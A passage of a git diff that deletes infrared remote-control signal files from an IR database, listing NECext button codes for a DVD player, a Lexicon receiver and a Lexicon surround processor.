-protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 42 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 82 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir deleted file mode 100644 index b550b8d38..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Receiver/130,11.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UP -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 01 00 00 00 -# -name: M_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 06 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 08 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 09 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0A 00 00 00 -# -name: THX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0B 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0C 00 00 00 -# -name: L7_FILM -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0D 00 00 00 -# -name: L7_TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0E 00 00 00 -# -name: DTS -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0F 00 00 00 -# -name: L7_MUSIC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 10 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 15 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 16 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 17 00 00 00 -# -name: STAT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1C 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1D 00 00 00 -# -name: 2_CHANNEL -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1F 00 00 00 -# -name: DVD_1 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 20 00 00 00 -# -name: DVD_2 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 21 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 23 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 24 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 25 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 2B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 39 00 00 00 -# -name: ENT. -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 3A 00 00 00 -# -name: L7_MS -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 90 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9B 00 00 00 -# -name: A/D -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9E 00 00 00 -# -name: A_BYP -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir deleted file mode 100644 index fb592c599..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir +++ /dev/null @@ -1,1610 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MENU_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 01 00 00 00 -# -name: MENU_UP_ARROW -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 01 00 00 00 -# -name: MENU:_UP -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 01 00 00 00 -# -name: MENU_UP -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 01 00 00 00 -# -name: OSD_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 02 00 00 00 -# -name: DISPLAY:_OSD_ON/OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 02 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 02 00 00 00 -# -name: FRONT_PANEL_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 03 00 00 00 -# -name: DISPLAY:_BACK_ON/OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 03 00 00 00 -# -name: BLUE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 03 00 00 00 -# -name: BALANCE_RIGHT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 04 00 00 00 -# -name: FRONT_PANEL_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 04 00 00 00 -# -name: DISPLAY:_FP_ON/OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 04 00 00 00 -# -name: FP -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 04 00 00 00 -# -name: BALANCE_REAR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 05 00 00 00 -# -name: OSD_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 05 00 00 00 -# -name: PWR:_ON/STDBY -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 05 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 06 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 08 00 00 00 -# -name: MENU_SELECT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 08 00 00 00 -# -name: MENU:_RIGHT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 08 00 00 00 -# -name: MENU_RIGHT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 08 00 00 00 -# -name: MENU:_ON/OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 09 00 00 00 -# -name: DONE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0A 00 00 00 -# -name: MENU_DONE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0A 00 00 00 -# -name: MENU:_LEFT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0A 00 00 00 -# -name: MENU_LEFT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0A 00 00 00 -# -name: MODE:_THX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0B 00 00 00 -# -name: THX_(LISTING_MODE) -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0B 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0C 00 00 00 -# -name: INPUT_TAPE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0C 00 00 00 -# -name: MODE:_DOLBY -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0C 00 00 00 -# -name: DD_(LISTING_MODE) -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0C 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0D 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0D 00 00 00 -# -name: MODE:_LOGIC7 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0D 00 00 00 -# -name: L7_(LISTING_MODE) -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0D 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0E 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0E 00 00 00 -# -name: MODE:_TV_LOGIC7 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0E 00 00 00 -# -name: TV_(LISTING_MODE) -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0E 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0F 00 00 00 -# -name: INPUT_AUX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0F 00 00 00 -# -name: MODE:_DTS -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0F 00 00 00 -# -name: DTS_(LISTING_MODE) -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 0F 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 10 00 00 00 -# -name: INPUT_TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 10 00 00 00 -# -name: MODE:_MUSIC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 10 00 00 00 -# -name: MUSIC_(LISTING_MODE) -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 10 00 00 00 -# -name: VIDEO_DISC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 11 00 00 00 -# -name: INPUT_V-DISC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 11 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 12 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 12 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 13 00 00 00 -# -name: INPUT_VCR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 13 00 00 00 -# -name: RECORD_ZONE_II -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 14 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 15 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 15 00 00 00 -# -name: MAIN:_VOLUME_MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 15 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 16 00 00 00 -# -name: MAIN:_VOLUME_-1DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 16 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 17 00 00 00 -# -name: MAIN:_VOLUME_+1DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 17 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 17 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 18 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 19 00 00 00 -# -name: EFFECT_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1A 00 00 00 -# -name: FX_UP -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1A 00 00 00 -# -name: MODE:_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1A 00 00 00 -# -name: MODE_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1A 00 00 00 -# -name: EFFECT_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1B 00 00 00 -# -name: FX_DOWN -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1B 00 00 00 -# -name: MODE:_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1B 00 00 00 -# -name: MODE_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1B 00 00 00 -# -name: MAIN:_STATUS -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1C 00 00 00 -# -name: STAT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1C 00 00 00 -# -name: MENU_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1D 00 00 00 -# -name: MENU_DOWN_ARROW -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1D 00 00 00 -# -name: MENU:_DOWN -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1D 00 00 00 -# -name: MENU_DOWN -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1D 00 00 00 -# -name: BALANCE_FRONT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1E 00 00 00 -# -name: MODE:_7/5_TOGGLE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1E 00 00 00 -# -name: 7/5_(LISTING_MODE) -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1E 00 00 00 -# -name: EFFECT_BYPASS -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1F 00 00 00 -# -name: MODE:_2-CH_TOGGLE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1F 00 00 00 -# -name: 2_CH_(LISTING_MODE) -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 1F 00 00 00 -# -name: FX_DOLBY -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 20 00 00 00 -# -name: MAIN:_INPUT_DVD_1 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 20 00 00 00 -# -name: DVD_1 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 20 00 00 00 -# -name: FX_THX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 21 00 00 00 -# -name: MAIN:_INPUT_DVD_2 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 21 00 00 00 -# -name: DVD_2 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 21 00 00 00 -# -name: FX_LOGIC_7 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 22 00 00 00 -# -name: MAIN:_INPUT_LD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 22 00 00 00 -# -name: FX_DTS -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 23 00 00 00 -# -name: MAIN:_INPUT_TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 23 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 23 00 00 00 -# -name: FX_2-CHANNEL -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 24 00 00 00 -# -name: MAIN:_INPUT_SAT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 24 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 24 00 00 00 -# -name: FX_PARTY -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 25 00 00 00 -# -name: MAIN:_INPUT_VCR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 25 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 25 00 00 00 -# -name: FX_TV_MATRIX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 26 00 00 00 -# -name: MAIN:_INPUT_CD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 26 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 26 00 00 00 -# -name: FX_MUSIC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 27 00 00 00 -# -name: MAIN:_INPUT_PVR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 27 00 00 00 -# -name: MAIN:_INPUT_GAME -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 28 00 00 00 -# -name: MAIN:_INPUT_TAPE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 29 00 00 00 -# -name: MAIN:_INPUT_TUNER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 2A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 2A 00 00 00 -# -name: MAIN:_INPUT_AUX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 2B 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 2B 00 00 00 -# -name: R/Z-2_+_OSD_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 42 00 00 00 -# -name: R/Z-2_+_FP_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 43 00 00 00 -# -name: ZONE:_VOLUME_TO_-30 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 43 00 00 00 -# -name: R/Z-2_+_FP_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 44 00 00 00 -# -name: ZONE:_VOLUME_TO_-15 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 44 00 00 00 -# -name: MENU_STATUS -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 45 00 00 00 -# -name: Z-2_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 48 00 00 00 -# -name: ZONE:_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 48 00 00 00 -# -name: ZONE:_BALANCE_CENTER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 49 00 00 00 -# -name: Z-2_BALANCE_LEFT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 4A 00 00 00 -# -name: ZONE:_BALANCE_LEFT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 4A 00 00 00 -# -name: R/Z-2_INPUT_TAPE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 4C 00 00 00 -# -name: R/Z-2_INPUT_TUNER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 4D 00 00 00 -# -name: R/Z-2_INPUT_CD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 4E 00 00 00 -# -name: R/Z-2_INPUT_AUX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 4F 00 00 00 -# -name: R/Z-2_INPUT_TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 50 00 00 00 -# -name: R/Z-2_INPUT_V-DISC -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 51 00 00 00 -# -name: R/Z-2_INPUT_DVD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 52 00 00 00 -# -name: R/Z-2_INPUT_VCR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 53 00 00 00 -# -name: Z-2_MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 55 00 00 00 -# -name: ZONE:_VOL_FULL_MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 55 00 00 00 -# -name: Z-2_VOLUME_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 56 00 00 00 -# -name: ZONE:_VOLUME_-1DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 56 00 00 00 -# -name: Z-2_VOLUME_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 57 00 00 00 -# -name: ZONE:_VOLUME_+1DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 57 00 00 00 -# -name: Z-2_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 58 00 00 00 -# -name: Z-2_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 59 00 00 00 -# -name: MENU_LOCK_ON_LOCK -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 5A 00 00 00 -# -name: TRIGGER_1:_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 5A 00 00 00 -# -name: R/Z-2_+_FX_DOWN -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 5B 00 00 00 -# -name: TRIGGER_1:_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 5B 00 00 00 -# -name: ZONE:_STATUS -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 5C 00 00 00 -# -name: Z-2_VOLUME_TO_-30DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 60 00 00 00 -# -name: ZONE:_INPUT_DVD_1 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 60 00 00 00 -# -name: Z-2_VOLUME_TO_-20DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 61 00 00 00 -# -name: ZONE:_INPUT_DVD_2 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 61 00 00 00 -# -name: Z-2_VOLUME_TO_-10DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 62 00 00 00 -# -name: ZONE:_INPUT_LD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 62 00 00 00 -# -name: Z-2_VOLUME_TO_+00DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 63 00 00 00 -# -name: ZONE:_INPUT_TV -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 63 00 00 00 -# -name: VOLUME_TO_-30_DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 64 00 00 00 -# -name: ZONE:_INPUT_SAT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 64 00 00 00 -# -name: VOLUME_TO_-20_DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 65 00 00 00 -# -name: ZONE:_INPUT_VCR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 65 00 00 00 -# -name: VOLUME_TO_-10_DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 66 00 00 00 -# -name: ZONE:_INPUT_CD -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 66 00 00 00 -# -name: VOLUME_TO_+00_DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 67 00 00 00 -# -name: ZONE:_INPUT_PVR -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 67 00 00 00 -# -name: ZONE:_INPUT_GAME -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 68 00 00 00 -# -name: ZONE:_INPUT_TAPE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 69 00 00 00 -# -name: ZONE:_INPUT_TUNER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 6A 00 00 00 -# -name: ZONE:_INPUT_AUX -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 6B 00 00 00 -# -name: BALANCE_FRONT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 81 00 00 00 -# -name: MAIN:_BALANCE_FRONT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 81 00 00 00 -# -name: MENU_BACK_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 82 00 00 00 -# -name: MAIN:_EQ_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 82 00 00 00 -# -name: SHIFT_+_FP_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 83 00 00 00 -# -name: MAIN:_VOLUME_TO_-30 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 83 00 00 00 -# -name: +5DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 84 00 00 00 -# -name: SHIFT_+_FP_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 84 00 00 00 -# -name: MAIN:_VOLUME_TO_-15 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 84 00 00 00 -# -name: REMOTE_TRIGGER_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 85 00 00 00 -# -name: MENU_BACK_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 85 00 00 00 -# -name: -5DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 86 00 00 00 -# -name: DEACTIVATE_ZONE_2 -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 88 00 00 00 -# -name: BALANCE_RIGHT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 88 00 00 00 -# -name: MAIN:_BALANCE_RIGHT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 88 00 00 00 -# -name: MAIN:_BALANCE_CENTER -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 89 00 00 00 -# -name: U_R_HERE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8A 00 00 00 -# -name: BALANCE_LEFT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8A 00 00 00 -# -name: MAIN:_BALANCE_LEFT -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8A 00 00 00 -# -name: MODE_ADJ:_EX_ON/OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8B 00 00 00 -# -name: ACCY_+_TAPE_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8C 00 00 00 -# -name: EQ_LOUDNESS_OFF -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8C 00 00 00 -# -name: ACCY_+_TUNER_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8D 00 00 00 -# -name: EQ_TILT_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8D 00 00 00 -# -name: ACCY_+_CD_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8E 00 00 00 -# -name: EQ_TREBLE_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8E 00 00 00 -# -name: ACCY_+_AUX_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8F 00 00 00 -# -name: EQ_BASS_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 8F 00 00 00 -# -name: ACCY_+_TV_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 90 00 00 00 -# -name: EQ_LOUDNESS_ON -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 90 00 00 00 -# -name: ACCY_+_V_DISC_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 91 00 00 00 -# -name: EQ_TILT_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 91 00 00 00 -# -name: ACCY_+_VCR2_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 92 00 00 00 -# -name: EQ_TREBLE_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 92 00 00 00 -# -name: ACCY_+_VCR1_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 93 00 00 00 -# -name: EQ_BASS_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 93 00 00 00 -# -name: ZONE_2_MODE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 94 00 00 00 -# -name: FULL_MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 95 00 00 00 -# -name: VOLUME_FULL_MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 95 00 00 00 -# -name: MAIN:_VOL_FULL_MUTE -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 95 00 00 00 -# -name: TREBLE_- -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 96 00 00 00 -# -name: VOLUME_-5_DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 96 00 00 00 -# -name: MAIN:_VOLUME_-3DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 96 00 00 00 -# -name: TREBLE_+ -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 97 00 00 00 -# -name: VOLUME_+5_DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 97 00 00 00 -# -name: MAIN:_VOLUME_+3DB -type: parsed -protocol: NECext -address: 82 0B 00 00 -command: 97 00 00 00 -# -name: OSD_ON 